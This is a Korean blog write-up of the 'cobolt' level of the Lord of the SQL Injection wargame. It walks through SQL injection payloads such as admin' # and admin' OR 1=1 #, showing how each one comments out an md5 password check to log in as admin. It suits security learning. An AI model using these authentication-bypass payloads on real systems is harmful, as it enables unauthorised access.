Code::War Game/los.rubiya.kr

[LOS] Lord of the SQL Injection - cobolt

태군 코드 2022. 12. 28. 16:02
반응형

허용받지 않은 서비스 대상으로 해킹을 시도하는 행위는 범죄 행위입니다. 해킹을 시도할 때에 발생하는 법적인 책임은 그것을 행한 사용자에게 있다는 것을 명심하시기 바랍니다.

 

조금 더 구체적인 내용들은 [LOS] Lord of the SQL Injection - gremlin 문제를 풀면서 작성해 두었고, 빠진 부분이나 필요한 부분들에 대해서는 조금씩 추가하면서 작성 하도록 하겠습니다.

 

cobolt

[LOS] Lord of the SQL Injection - cobolt

preg_match : prob _ . ( ) 문자열이 필터링되어 있고 i 옵션을 통하여 대소문자 구문을 하지 않고 있습니다.

id 값이 'admin'이 맞으면 풀리는 문제라는 것을 알수 있습니다.

 

쿼리문을 살펴보면 앞의 문제와는 다르게 pw 가 md5 함수로 고정되어 있는 것을 확인할 수 있습니다.

 

?id=admin&pw=admin

select id from prob_cobolt where id='admin' and pw=md5('admin')

여기서 확인할 수 있는 것은 우리가 pw에 전달한 값은 md5('전달값')로 들어가는 것을 알 수 있습니다. 그럼 앞에서 풀어 보았던 데로 ' OR 1=1 # 값을 넣어 보도록 하겠습니다. 데이터베이스 종류별로 주석 처리 방법은 조금씩 차이가 있으므로, 점검 및 취약점 진단 시 상황에 맞게 주석처리를 사용해주어야 합니다.

 

?id=admin&pw=%27%20OR%201=1%23 : ?id=admin&pw=' OR 1=1 #

select id from prob_cobolt where id='admin' and pw=md5('' OR 1=1#')

pw 값을 참이 되게 입력을 하면 pw=md5('' OR 1=1 ') 부분만 주석 처리가 되어 문법 에러가 발생하기 때문에 조건을 충족하지 않습니다.

 

?id=admin%27%20OR%201=1%20%23 : ?id=admin' OR 1=1 #

select id from prob_cobolt where id='admin' OR 1=1 #' and pw=md5('')

id 값이 'admin' 이거나(OR) 참인 조건을 입력하면 admin이 아니라는 메시지를 확인할 수 있고, rubiya 계정이 존재하고 있는 것을 알 수 있습니다.

 

?id=admin%27%20%23 : ?id=admin' #

select id from prob_cobolt where id='admin' #' and pw=md5('')

위에서도 말한 거와 같이 id 값이 'admin'일 경우 풀리는 문제로 id를 'admin'으로 고정을 해주고 뒤에 실행되는 쿼리문을 주석처리 해주면 풀리는 문제입니다.

 

?id=admin%27%20OR%201=2%20%23 : ?id=admin' OR 1=2 # -> id가 'admin' 이거나 거짓 조건일 경우

select id from prob_cobolt where id='admin' OR 1=2 #' and pw=md5('')

 

?id=admin%27%20AND%201=1%20%23 : ?id=admin' AND 1=1 # -> id가 'admin'이고 참일 경우

select id from prob_cobolt where id='admin' AND 1=1 #' and pw=md5('')

다른 방법으로는 id가 'admin' 이고 거짓 또는 참인 조건을 만들어 id가 'admin' 값만 표시되게 질의할 수 있습니다.

 

처음부터 id값을 'admin'으로 하는 방법도 있었겠지만, 해당 블로그를 보시는 분들이 조금이나마 눈으로 보고 익혔으면 하는 바람으로 여러 가지 방법을 시도해 보았습니다. 위의 방법 말고도 다른 방법으로도 직접 쿼리문을 조작하여 확인해 보시기를 추천드립니다.

반응형